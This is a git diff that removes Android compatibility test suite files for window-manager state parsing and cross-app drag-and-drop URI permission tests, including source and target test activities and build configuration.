-
-                mWindows.add(ws.getName());
-                mWindowStates.add(ws);
-                continue;
-            }
-
-            final String line = mSysDump.pop().trim();
-
-            Matcher matcher = sFocusedWindowPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                final String focusedWindow = matcher.group(3);
-                log(focusedWindow);
-                mFocusedWindow = focusedWindow;
-                continue;
-            }
-
-            matcher = sAppErrorFocusedWindowPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                final String focusedWindow = matcher.group(3);
-                log(focusedWindow);
-                mFocusedWindow = focusedWindow;
-                continue;
-            }
-
-            matcher = sWaitingForDebuggerFocusedWindowPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                final String focusedWindow = matcher.group(3);
-                log(focusedWindow);
-                mFocusedWindow = focusedWindow;
-                continue;
-            }
-
-            matcher = sFocusedAppPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                final String focusedApp = matcher.group(5);
-                log(focusedApp);
-                mFocusedApp = focusedApp;
-                continue;
-            }
-        }
-    }
-
-    void getMatchingWindowTokens(final String windowName, List<String> tokenList) {
-        tokenList.clear();
-
-        for (WindowState ws : mWindowStates) {
-            if (windowName.equals(ws.getName())) {
-                tokenList.add(ws.getToken());
-            }
-        }
-    }
-
-    void getMatchingWindowState(final String windowName, List<WindowState> windowList) {
-        windowList.clear();
-        for (WindowState ws : mWindowStates) {
-            if (windowName.equals(ws.getName())) {
-                windowList.add(ws);
-            }
-        }
-    }
-
-    Display getDisplay(int displayId) {
-        for (Display display : mDisplays) {
-            if (displayId == display.getDisplayId()) {
-                return display;
-            }
-        }
-        return null;
-    }
-
-    String getFrontWindow() {
-        if (mWindows == null || mWindows.isEmpty()) {
-            return null;
-        }
-        return mWindows.get(0);
-    }
-
-    String getFocusedWindow() {
-        return mFocusedWindow;
-    }
-
-    String getFocusedApp() {
-        return mFocusedApp;
-    }
-
-    int getFrontStackId() {
-        return mStacks.get(0).mStackId;
-    }
-
-    boolean containsStack(int stackId) {
-        for (WindowStack stack : mStacks) {
-            if (stackId == stack.mStackId) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    boolean isWindowVisible(String windowName) {
-        for (String window : mWindows) {
-            if (window.equals(windowName)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    WindowStack getStack(int stackId) {
-        for (WindowStack stack : mStacks) {
-            if (stackId == stack.mStackId) {
-                return stack;
-            }
-        }
-        return null;
-    }
-
-    private void reset() {
-        mSysDump.clear();
-        mStacks.clear();
-        mDisplays.clear();
-        mWindows.clear();
-        mWindowStates.clear();
-        mFocusedWindow = null;
-        mFocusedApp = null;
-    }
-
-    static class WindowStack extends WindowContainer {
-
-        private static final Pattern sTaskIdPattern = Pattern.compile("taskId=(\\d+)");
-
-        int mStackId;
-        ArrayList<WindowTask> mTasks = new ArrayList();
-
-        private WindowStack() {
-
-        }
-
-        static WindowStack create(
-                LinkedList<String> dump, Pattern stackIdPattern, Pattern[] exitPatterns) {
-            final String line = dump.peek().trim();
-
-            final Matcher matcher = stackIdPattern.matcher(line);
-            if (!matcher.matches()) {
-                // Not a stack.
-                return null;
-            }
-            // For the stack Id line we just read.
-            dump.pop();
-
-            final WindowStack stack = new WindowStack();
-            log(line);
-            final String stackId = matcher.group(1);
-            log(stackId);
-            stack.mStackId = Integer.parseInt(stackId);
-            stack.extract(dump, exitPatterns);
-            return stack;
-        }
-
-        void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
-            final List<Pattern> taskExitPatterns = new ArrayList();
-            Collections.addAll(taskExitPatterns, exitPatterns);
-            taskExitPatterns.add(sTaskIdPattern);
-            final Pattern[] taskExitPatternsArray =
-                    taskExitPatterns.toArray(new Pattern[taskExitPatterns.size()]);
-
-            while (!doneExtracting(dump, exitPatterns)) {
-                final WindowTask task =
-                        WindowTask.create(dump, sTaskIdPattern, taskExitPatternsArray);
-
-                if (task != null) {
-                    mTasks.add(task);
-                    continue;
-                }
-
-                final String line = dump.pop().trim();
-
-                if (extractFullscreen(line)) {
-                    continue;
-                }
-
-                if (extractBounds(line)) {
-                    continue;
-                }
-            }
-        }
-
-        WindowTask getTask(int taskId) {
-            for (WindowTask task : mTasks) {
-                if (taskId == task.mTaskId) {
-                    return task;
-                }
-            }
-            return null;
-        }
-    }
-
-    static class WindowTask extends WindowContainer {
-        private static final Pattern sTempInsetBoundsPattern =
-                Pattern.compile("mTempInsetBounds=\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]");
-
-        private static final Pattern sAppTokenPattern = Pattern.compile(
-                "Activity #(\\d+) AppWindowToken\\{(\\S+) token=Token\\{(\\S+) "
-                + "ActivityRecord\\{(\\S+) u(\\d+) (\\S+) t(\\d+)\\}\\}\\}");
-
-
-        int mTaskId;
-        Rectangle mTempInsetBounds;
-        List<String> mAppTokens = new ArrayList();
-
-        private WindowTask() {
-        }
-
-        static WindowTask create(
-                LinkedList<String> dump, Pattern taskIdPattern, Pattern[] exitPatterns) {
-            final String line = dump.peek().trim();
-
-            final Matcher matcher = taskIdPattern.matcher(line);
-            if (!matcher.matches()) {
-                // Not a task.
-                return null;
-            }
-            // For the task Id line we just read.
-            dump.pop();
-
-            final WindowTask task = new WindowTask();
-            log(line);
-            final String taskId = matcher.group(1);
-            log(taskId);
-            task.mTaskId = Integer.parseInt(taskId);
-            task.extract(dump, exitPatterns);
-            return task;
-        }
-
-        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-            while (!doneExtracting(dump, exitPatterns)) {
-                final String line = dump.pop().trim();
-
-                if (extractFullscreen(line)) {
-                    continue;
-                }
-
-                if (extractBounds(line)) {
-                    continue;
-                }
-
-                Matcher matcher = sTempInsetBoundsPattern.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    mTempInsetBounds = extractBounds(matcher);
-                }
-
-                matcher = sAppTokenPattern.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    final String appToken = matcher.group(6);
-                    log(appToken);
-                    mAppTokens.add(appToken);
-                    continue;
-                }
-            }
-        }
-    }
-
-    static abstract class WindowContainer {
-        protected static final Pattern sFullscreenPattern = Pattern.compile("mFullscreen=(\\S+)");
-        protected static final Pattern sBoundsPattern =
-                Pattern.compile("mBounds=\\[(-?\\d+),(-?\\d+)\\]\\[(-?\\d+),(-?\\d+)\\]");
-
-        protected boolean mFullscreen;
-        protected Rectangle mBounds;
-
-        static boolean doneExtracting(LinkedList<String> dump, Pattern[] exitPatterns) {
-            if (dump.isEmpty()) {
-                return true;
-            }
-            final String line = dump.peek().trim();
-
-            for (Pattern pattern : exitPatterns) {
-                if (pattern.matcher(line).matches()) {
-                    return true;
-                }
-            }
-            return false;
-        }
-
-        boolean extractFullscreen(String line) {
-            final Matcher matcher = sFullscreenPattern.matcher(line);
-            if (!matcher.matches()) {
-                return false;
-            }
-            log(line);
-            final String fullscreen = matcher.group(1);
-            log(fullscreen);
-            mFullscreen = Boolean.valueOf(fullscreen);
-            return true;
-        }
-
-        boolean extractBounds(String line) {
-            final Matcher matcher = sBoundsPattern.matcher(line);
-            if (!matcher.matches()) {
-                return false;
-            }
-            log(line);
-            mBounds = extractBounds(matcher);
-            return true;
-        }
-
-        static Rectangle extractBounds(Matcher matcher) {
-            final int left = Integer.valueOf(matcher.group(1));
-            final int top = Integer.valueOf(matcher.group(2));
-            final int right = Integer.valueOf(matcher.group(3));
-            final int bottom = Integer.valueOf(matcher.group(4));
-            final Rectangle rect = new Rectangle(left, top, right - left, bottom - top);
-
-            log(rect.toString());
-            return rect;
-        }
-
-        static void extractMultipleBounds(Matcher matcher, int groupIndex, Rectangle... rectList) {
-            for (Rectangle rect : rectList) {
-                if (rect == null) {
-                    return;
-                }
-                final int left = Integer.valueOf(matcher.group(groupIndex++));
-                final int top = Integer.valueOf(matcher.group(groupIndex++));
-                final int right = Integer.valueOf(matcher.group(groupIndex++));
-                final int bottom = Integer.valueOf(matcher.group(groupIndex++));
-                rect.setBounds(left, top, right - left, bottom - top);
-            }
-        }
-
-        Rectangle getBounds() {
-            return mBounds;
-        }
-
-        boolean isFullscreen() {
-            return mFullscreen;
-        }
-    }
-
-    static class Display extends WindowContainer {
-        private static final String TAG = "[Display] ";
-
-        private static final Pattern sDisplayIdPattern =
-                Pattern.compile("Display: mDisplayId=(\\d+)");
-        private static final Pattern sDisplayInfoPattern =
-                Pattern.compile("(.+) (\\d+)dpi cur=(\\d+)x(\\d+) app=(\\d+)x(\\d+) (.+)");
-
-        private final int mDisplayId;
-        private Rectangle mDisplayRect = new Rectangle();
-        private Rectangle mAppRect = new Rectangle();
-        private int mDpi;
-
-        private Display(int displayId) {
-            mDisplayId = displayId;
-        }
-
-        int getDisplayId() {
-            return mDisplayId;
-        }
-
-        int getDpi() {
-            return mDpi;
-        }
-
-        Rectangle getDisplayRect() {
-            return mDisplayRect;
-        }
-
-        Rectangle getAppRect() {
-            return mAppRect;
-        }
-
-        static Display create(LinkedList<String> dump, Pattern[] exitPatterns) {
-            // TODO: exit pattern for displays?
-            final String line = dump.peek().trim();
-
-            Matcher matcher = sDisplayIdPattern.matcher(line);
-            if (!matcher.matches()) {
-                return null;
-            }
-
-            log(TAG + "DISPLAY_ID: " + line);
-            dump.pop();
-
-            final int displayId = Integer.valueOf(matcher.group(1));
-            final Display display = new Display(displayId);
-            display.extract(dump, exitPatterns);
-            return display;
-        }
-
-        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-            while (!doneExtracting(dump, exitPatterns)) {
-                final String line = dump.pop().trim();
-
-                final Matcher matcher = sDisplayInfoPattern.matcher(line);
-                if (matcher.matches()) {
-                    log(TAG + "DISPLAY_INFO: " + line);
-                    mDpi = Integer.valueOf(matcher.group(2));
-
-                    final int displayWidth = Integer.valueOf(matcher.group(3));
-                    final int displayHeight = Integer.valueOf(matcher.group(4));
-                    mDisplayRect.setBounds(0, 0, displayWidth, displayHeight);
-
-                    final int appWidth = Integer.valueOf(matcher.group(5));
-                    final int appHeight = Integer.valueOf(matcher.group(6));
-                    mAppRect.setBounds(0, 0, appWidth, appHeight);
-
-                    // break as we don't need other info for now
-                    break;
-                }
-                // Extract other info here if needed
-            }
-        }
-
-        @Override
-        public String toString() {
-            return "Display #" + mDisplayId + ": mDisplayRect=" + mDisplayRect
-                    + " mAppRect=" + mAppRect;
-        }
-    }
-
-    static class WindowState extends WindowContainer {
-        private static final String TAG = "[WindowState] ";
-
-        private static final String RECT_STR = "\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]";
-        private static final Pattern sFramePattern =
-                Pattern.compile("Frames: containing=" + RECT_STR + " parent=" + RECT_STR);
-        private static final Pattern sWindowAssociationPattern =
-                Pattern.compile("mDisplayId=(\\d+) stackId=(\\d+) (.+)");
-
-        private final String mName;
-        private final String mAppToken;
-        private final boolean mStarting;
-        private final boolean mExiting;
-        private int mDisplayId;
-        private int mStackId;
-        private Rectangle mContainingFrame = new Rectangle();
-        private Rectangle mParentFrame = new Rectangle();
-
-        private WindowState(Matcher matcher, boolean starting, boolean exiting) {
-            mName = matcher.group(4);
-            mAppToken = matcher.group(2);
-            mStarting = starting;
-            mExiting = exiting;
-        }
-
-        String getName() {
-            return mName;
-        }
-
-        String getToken() {
-            return mAppToken;
-        }
-
-        boolean isStartingWindow() {
-            return mStarting;
-        }
-
-        boolean isExitingWindow() {
-            return mExiting;
-        }
-
-        int getDisplayId() {
-            return mDisplayId;
-        }
-
-        int getStackId() {
-            return mStackId;
-        }
-
-        Rectangle getContainingFrame() {
-            return mContainingFrame;
-        }
-
-        Rectangle getParentFrame() {
-            return mParentFrame;
-        }
-
-        static WindowState create(LinkedList<String> dump, Pattern[] exitPatterns) {
-            final String line = dump.peek().trim();
-
-            Matcher matcher = sWindowPattern.matcher(line);
-            if (!matcher.matches()) {
-                return null;
-            }
-
-            log(TAG + "WINDOW: " + line);
-            dump.pop();
-
-            final WindowState window;
-            Matcher specialMatcher = sStartingWindowPattern.matcher(line);
-            if (specialMatcher.matches()) {
-                log(TAG + "STARTING: " + line);
-                window = new WindowState(specialMatcher, true, false);
-            } else {
-                specialMatcher = sExitingWindowPattern.matcher(line);
-                if (specialMatcher.matches()) {
-                    log(TAG + "EXITING: " + line);
-                    window = new WindowState(specialMatcher, false, true);
-                } else {
-                    window = new WindowState(matcher, false, false);
-                }
-            }
-
-            window.extract(dump, exitPatterns);
-            return window;
-        }
-
-        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-            while (!doneExtracting(dump, exitPatterns)) {
-                final String line = dump.pop().trim();
-
-                Matcher matcher = sWindowAssociationPattern.matcher(line);
-                if (matcher.matches()) {
-                    log(TAG + "WINDOW_ASSOCIATION: " + line);
-                    mDisplayId = Integer.valueOf(matcher.group(1));
-                    mStackId = Integer.valueOf(matcher.group(2));
-                    continue;
-                }
-
-                matcher = sFramePattern.matcher(line);
-                if (matcher.matches()) {
-                    log(TAG + "FRAME: " + line);
-                    extractMultipleBounds(matcher, 1, mContainingFrame, mParentFrame);
-                    continue;
-                }
-
-                // Extract other info here if needed
-            }
-        }
-
-        @Override
-        public String toString() {
-            return "WindowState: {" + mAppToken + " " + mName
-                    + (mStarting ? " STARTING" : "") + (mExiting ? " EXITING" : "") + "}"
-                    + " cf=" + mContainingFrame + " pf=" + mParentFrame;
-        }
-    }
-}
diff --git a/hostsidetests/services/windowmanager/Android.mk b/hostsidetests/services/windowmanager/Android.mk
deleted file mode 100644
index 4448d9a..0000000
--- a/hostsidetests/services/windowmanager/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE := CtsDragAndDropHostTestCases
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt
-
-LOCAL_CTS_TEST_PACKAGE := android.wm.cts
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/services/windowmanager/AndroidTest.xml b/hostsidetests/services/windowmanager/AndroidTest.xml
deleted file mode 100644
index 8346b72..0000000
--- a/hostsidetests/services/windowmanager/AndroidTest.xml
+++ /dev/null
@@ -1,26 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS drag and drop host test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsDragAndDropSourceApp.apk" />
-        <option name="test-file-name" value="CtsDragAndDropTargetApp.apk" />
-        <option name="test-file-name" value="CtsDragAndDropTargetAppSdk23.apk" />
-    </target_preparer>
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsDragAndDropHostTestCases.jar" />
-    </test>
-</configuration>
diff --git a/hostsidetests/services/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java b/hostsidetests/services/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java
deleted file mode 100644
index ff92656..0000000
--- a/hostsidetests/services/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.wm.cts.dndsourceapp;
-
-import android.app.Activity;
-import android.content.ClipData;
-import android.content.ClipDescription;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.PersistableBundle;
-import android.view.MotionEvent;
-import android.view.View;
-import android.widget.TextView;
-
-public class DragSource extends Activity{
-    private static final String URI_PREFIX =
-            "content://" + DragSourceContentProvider.AUTHORITY + "/data";
-
-    private static final String MAGIC_VALUE = "42";
-    private static final long TIMEOUT_CANCEL = 150;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        View view = getLayoutInflater().inflate(R.layout.source_activity, null);
-        setContentView(view);
-
-        final Uri plainUri = Uri.parse(URI_PREFIX + "/" + MAGIC_VALUE);
-
-        setUpDragSource("disallow_global", plainUri, 0);
-        setUpDragSource("cancel_soon", plainUri, View.DRAG_FLAG_GLOBAL);
-
-        setUpDragSource("grant_none", plainUri, View.DRAG_FLAG_GLOBAL);
-        setUpDragSource("grant_read", plainUri,
-                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ);
-        setUpDragSource("grant_write", plainUri,
-                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_WRITE);
-        setUpDragSource("grant_read_persistable", plainUri,
-                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ |
-                        View.DRAG_FLAG_GLOBAL_PERSISTABLE_URI_PERMISSION);
-
-        final Uri prefixUri = Uri.parse(URI_PREFIX);
-
-        setUpDragSource("grant_read_prefix", prefixUri,
-                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ |
-                        View.DRAG_FLAG_GLOBAL_PREFIX_URI_PERMISSION);
-        setUpDragSource("grant_read_noprefix", prefixUri,
-                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ);
-    }
-
-    private void setUpDragSource(String mode, final Uri uri, final int flags) {
-        if (!mode.equals(getIntent().getStringExtra("mode"))) {
-            return;
-        }
-        final View source = findViewById(R.id.drag_source);
-        ((TextView) source).setText(mode);
-        source.setOnTouchListener(new View.OnTouchListener() {
-            @Override
-            public boolean onTouch(View v, MotionEvent event) {
-                if (event.getAction() != MotionEvent.ACTION_DOWN) {
-                    return false;
-                }
-                final ClipDescription clipDescription = new ClipDescription("", new String[] {
-                        ClipDescription.MIMETYPE_TEXT_URILIST });
-                PersistableBundle extras = new PersistableBundle(1);
-                extras.putString("extraKey", "extraValue");
-                clipDescription.setExtras(extras);
-                final ClipData clipData = new ClipData(clipDescription, new ClipData.Item(uri));
-                v.startDragAndDrop(
-                        clipData,
-                        new View.DragShadowBuilder(v),
-                        null,
-                        flags);
-                if (mode.equals("cancel_soon")) {
-                    new Handler().postDelayed(new Runnable() {
-                        @Override
-                        public void run() {
-                            v.cancelDragAndDrop();
-                        }
-                    }, TIMEOUT_CANCEL);
-                }
-                return true;
-            }
-        });
-    }
-}
diff --git a/hostsidetests/services/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java b/hostsidetests/services/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java
deleted file mode 100644
index 904a422..0000000
--- a/hostsidetests/services/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java
+++ /dev/null
@@ -1,249 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.wm.cts.dndtargetapp;
-
-import android.app.Activity;
-import android.content.ClipData;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.PersistableBundle;
-import android.util.Log;
-import android.view.DragAndDropPermissions;
-import android.view.DragEvent;
-import android.view.View;
-import android.widget.TextView;
-
-public class DropTarget extends Activity {
-    public static final String LOG_TAG = "DropTarget";
-
-    private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
-    private static final String RESULT_KEY_EXTRAS = "EXTRAS";
-    private static final String RESULT_KEY_DROP_RESULT = "DROP";
-    private static final String RESULT_KEY_DETAILS = "DETAILS";
-
-    public static final String RESULT_OK = "OK";
-    public static final String RESULT_EXCEPTION = "Exception";
-
-    protected static final String MAGIC_VALUE = "42";
-
-    private TextView mTextView;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        View view = getLayoutInflater().inflate(R.layout.target_activity, null);
-        setContentView(view);
-
-        setUpDropTarget("request_none", new OnDragUriReadListener(false));
-        setUpDropTarget("request_read", new OnDragUriReadListener());
-        setUpDropTarget("request_write", new OnDragUriWriteListener());
-        setUpDropTarget("request_read_nested", new OnDragUriReadPrefixListener());
-        setUpDropTarget("request_take_persistable", new OnDragUriTakePersistableListener());
-    }
-
-    private void setUpDropTarget(String mode, OnDragUriListener listener) {
-        if (!mode.equals(getIntent().getStringExtra("mode"))) {
-            return;
-        }
-        mTextView = (TextView)findViewById(R.id.drag_target);
-        mTextView.setText(mode);
-        mTextView.setOnDragListener(listener);
-    }
-
-    private String checkExtraValue(DragEvent event) {
-        PersistableBundle extras = event.getClipDescription().getExtras();
-        if (extras == null) {
-            return "Null";
-        }
-
-        final String value = extras.getString("extraKey");
-        if ("extraValue".equals(value)) {
-            return RESULT_OK;
-        }
-        return value;
-    }
-
-    private void logResult(String key, String value) {
-        Log.i(LOG_TAG, key + "=" + value);
-        mTextView.setText(mTextView.getText() + "\n" + key + "=" + value);
-    }
-
-    private abstract class OnDragUriListener implements View.OnDragListener {
-        private final boolean requestPermissions;
-
-        public OnDragUriListener(boolean requestPermissions) {
-            this.requestPermissions = requestPermissions;
-        }
-
-        @Override
-        public boolean onDrag(View v, DragEvent event) {
-            switch (event.getAction()) {
-                case DragEvent.ACTION_DRAG_STARTED:
-                    logResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
-                    logResult(RESULT_KEY_EXTRAS, checkExtraValue(event));
-                    return true;
-
-                case DragEvent.ACTION_DRAG_ENTERED:
-                    return true;
-
-                case DragEvent.ACTION_DRAG_LOCATION:
-                    return true;
-
-                case DragEvent.ACTION_DRAG_EXITED:
-                    return true;
-
-                case DragEvent.ACTION_DROP:
-                    String result;
-                    try {
-                        result = processDrop(event, requestPermissions);
-                    } catch (Exception e) {
-                        result = RESULT_EXCEPTION;
-                        logResult(RESULT_KEY_DETAILS, e.getMessage());
-                    }
-                    logResult(RESULT_KEY_DROP_RESULT, result);
-                    return true;
-
-                case DragEvent.ACTION_DRAG_ENDED:
-                    return true;
-
-                default:
-                    return false;
-            }
-        }
-
-        private String processDrop(DragEvent event, boolean requestPermissions) {
-            final ClipData clipData = event.getClipData();
-            if (clipData == null) {
-                return "Null ClipData";
-            }
-            if (clipData.getItemCount() == 0) {
-                return "Empty ClipData";
-            }
-            ClipData.Item item = clipData.getItemAt(0);
-            if (item == null) {
-                return "Null ClipData.Item";
-            }
-            Uri uri = item.getUri();
-            if (uri == null) {
-                return "Null Uri";
-            }
-
-            DragAndDropPermissions permissions = null;
-            if (requestPermissions) {
-                permissions = requestDragAndDropPermissions(event);
-                if (permissions == null) {
-                    return "Null DragAndDropPermissions";
-                }
-            }
-
-            try {
-                return processUri(uri);
-            } finally {
-                if (permissions != null) {
-                    permissions.release();
-                }
-            }
-        }
-
-        abstract protected String processUri(Uri uri);
-    }
-
-    private class OnDragUriReadListener extends OnDragUriListener {
-        OnDragUriReadListener(boolean requestPermissions) {
-            super(requestPermissions);
-        }
-
-        OnDragUriReadListener() {
-            super(true);
-        }
-
-        protected String processUri(Uri uri) {
-            return checkQueryResult(uri, MAGIC_VALUE);
-        }
-
-        protected String checkQueryResult(Uri uri, String expectedValue) {
-            Cursor cursor = null;
-            try {
-                cursor = getContentResolver().query(uri, null, null, null, null);
-                if (cursor == null) {
-                    return "Null Cursor";
-                }
-                cursor.moveToPosition(0);
-                String value = cursor.getString(0);
-                if (!expectedValue.equals(value)) {
-                    return "Wrong value: " + value;
-                }
-                return RESULT_OK;
-            } finally {
-                if (cursor != null) {
-                    cursor.close();
-                }
-            }
-        }
-    }
-
-    private class OnDragUriWriteListener extends OnDragUriListener {
-        OnDragUriWriteListener() {
-            super(true);
-        }
-
-        protected String processUri(Uri uri) {
-            ContentValues values = new ContentValues();
-            values.put("key", 100);
-            getContentResolver().update(uri, values, null, null);
-            return RESULT_OK;
-        }
-    }
-
-    private class OnDragUriReadPrefixListener extends OnDragUriReadListener {
-        @Override
-        protected String processUri(Uri uri) {
-            final String result1 = queryPrefixed(uri, "1");
-            if (!result1.equals(RESULT_OK)) {
-                return result1;
-            }
-            final String result2 = queryPrefixed(uri, "2");
-            if (!result2.equals(RESULT_OK)) {
-                return result2;
-            }
-            return queryPrefixed(uri, "3");
-        }
-
-        private String queryPrefixed(Uri uri, String selector) {
-            final Uri prefixedUri = Uri.parse(uri.toString() + "/" + selector);
-            return checkQueryResult(prefixedUri, selector);
-        }
-    }
-
-    private class OnDragUriTakePersistableListener extends OnDragUriListener {
-        OnDragUriTakePersistableListener() {
-            super(true);
-        }
-
-        @Override
-        protected String processUri(Uri uri) {
-            getContentResolver().takePersistableUriPermission(
-                    uri, View.DRAG_FLAG_GLOBAL_URI_READ);
-            getContentResolver().releasePersistableUriPermission(
-                    uri, View.DRAG_FLAG_GLOBAL_URI_READ);
-            return RESULT_OK;
-        }
-    }
-}
diff --git a/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java b/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
deleted file mode 100644
index 77119c0..0000000
--- a/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
+++ /dev/null
@@ -1,429 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.wm.cts;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import java.util.HashMap;
-import java.util.Map;
-import java.util.regex.Pattern;
-
-public class CrossAppDragAndDropTests extends DeviceTestCase {
-    // Constants copied from ActivityManager.StackId. If they are changed there, these must be
-    // updated.
-    /** ID of stack where fullscreen activities are normally launched into. */
-    private static final int FULLSCREEN_WORKSPACE_STACK_ID = 1;
-
-    /** ID of stack where freeform/resized activities are normally launched into. */
-    private static final int FREEFORM_WORKSPACE_STACK_ID = FULLSCREEN_WORKSPACE_STACK_ID + 1;
-
-    /** ID of stack that occupies a dedicated region of the screen. */
-    private static final int DOCKED_STACK_ID = FREEFORM_WORKSPACE_STACK_ID + 1;
-
-    /** ID of stack that always on top (always visible) when it exists. */
-    private static final int PINNED_STACK_ID = DOCKED_STACK_ID + 1;
-
-    private static final String AM_FORCE_STOP = "am force-stop ";
-    private static final String AM_MOVE_TASK = "am stack movetask ";
-    private static final String AM_REMOVE_STACK = "am stack remove ";
-    private static final String AM_START_N = "am start -n ";
-    private static final String AM_STACK_LIST = "am stack list";
-    private static final String INPUT_MOUSE_SWIPE = "input mouse swipe ";
-    private static final String TASK_ID_PREFIX = "taskId";
-
-    // Regex pattern to match adb shell am stack list output of the form:
-    // taskId=<TASK_ID>: <componentName> bounds=[LEFT,TOP][RIGHT,BOTTOM]
-    private static final String TASK_REGEX_PATTERN_STRING =
-            "taskId=[0-9]+: %s bounds=\\[[0-9]+,[0-9]+\\]\\[[0-9]+,[0-9]+\\]";
-
-    private static final int SWIPE_DURATION_MS = 500;
-
-    private static final String SOURCE_PACKAGE_NAME = "android.wm.cts.dndsourceapp";
-    private static final String TARGET_PACKAGE_NAME = "android.wm.cts.dndtargetapp";
-    private static final String TARGET_23_PACKAGE_NAME = "android.wm.cts.dndtargetappsdk23";
-
-    private static final String SOURCE_ACTIVITY_NAME = "DragSource";
-    private static final String TARGET_ACTIVITY_NAME = "DropTarget";
-
-    private static final String DISALLOW_GLOBAL = "disallow_global";
